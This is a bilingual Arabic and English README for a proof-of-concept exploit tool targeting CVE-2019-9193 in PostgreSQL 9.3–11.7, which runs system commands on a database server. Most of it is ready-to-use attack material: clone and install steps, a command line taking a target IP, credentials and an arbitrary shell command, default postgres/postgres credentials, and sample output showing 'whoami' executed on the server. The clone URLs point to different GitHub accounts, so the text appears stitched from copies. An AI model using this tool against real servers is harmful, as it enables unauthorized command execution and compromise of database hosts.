jhnhnck/cve-2019-9193أداة إثبات المفهوم (PoC) مصممة لاستغلال ثغرة تنفيذ كود عن بعد (RCE) مصادق عليها في إصدارات معينة من PostgreSQL (9.3 - 11.7)
GenPostgresRCEExploit هي أداة PoC مصممة لاستغلال ثغرة تنفيذ الأوامر عن بُعد (RCE) الموثقة في إصدارات معينة من PostgreSQL (9.3 - 11.7). تتيح للمستخدمين الموثَّقين تنفيذ أوامر النظام على خادم PostgreSQL المعرض للثغرة CVE-2019-9193.
psycopg2 من pip)libpq-dev من apt)git clone https://github.com/AxthonyV/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip: عنوان IP لخادم PostgreSQL (الافتراضي: 127.0.0.1)-p, --port: منفذ خادم PostgreSQL (الافتراضي: 5432)-d, --database: اسم قاعدة بيانات PostgreSQL (الافتراضي: template1)-U, --user: اسم المستخدم للاتصال بخادم PostgreSQL (الافتراضي: postgres)-P, --password: كلمة المرور للاتصال بخادم PostgreSQL (الافتراضي: postgres)-c, ---command: أمر النظام الذي سيتم تنفيذه على الخادم-t, --timeout: مهلة الاتصال بالثواني (الافتراضي: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
يتصل هذا المثال بخادم PostgreSQL على 192.168.1.10، ويصادق باستخدام بيانات الاعتماد المقدمة، وينفذ الأمر whoami.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
هذه الأداة مخصصة للأغراض التعليمية والاختبار الأخلاقي فقط. الاستخدام غير المصرح به لهذه الأداة ضد أي أنظمة هو أمر غير قانوني وممنوع منعًا باتًا. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.
GenPostgresRCEExploit is a PoC exploit designed to exploit remote code execution (RCE) vulnerability in certain versions of PostgreSQL (9.3 - 11.7). The program allows authenticated users to execute system commands on a PostgreSQL server vulnerable to CVE-2019-9193.
psycopg2 package)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP address> -p <port> -d <database_name> -U <user> -P <password> -c "<system_command>"
-i, --ip: IP address of PostgreSQL server (Default: 127.0.0.1)-p, --port: PostgreSQL server port (Default: 5432)-d, --database: PostgreSQL database name (Default: template1)-U, --user: Username to connect to the PostgreSQL server (Default: postgres)-P, --password: Password to connect to PostgreSQL server (Default: postgres)-c, --command: System command to execute on the server-t, --timeout: Connection timeout in seconds (Default: 10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
In this example, the program connects to the PostgreSQL server at 192.168.1.10, authenticates with the specified credentials, and executes the whoami command.
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Connection to PostgreSQL database at 192.168.1.10:5432
[+] Connection successfully established
[+] PostgreSQL version check
[+] Vulnerable PostgreSQL version detected: 10.4
[+] Temporary table creation: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Command successfully executed
postgres
This tool is for educational purposes and legal testing only. Unauthorized use of this tool against any systems is illegal and strictly prohibited. The authors are not responsible for any misuse.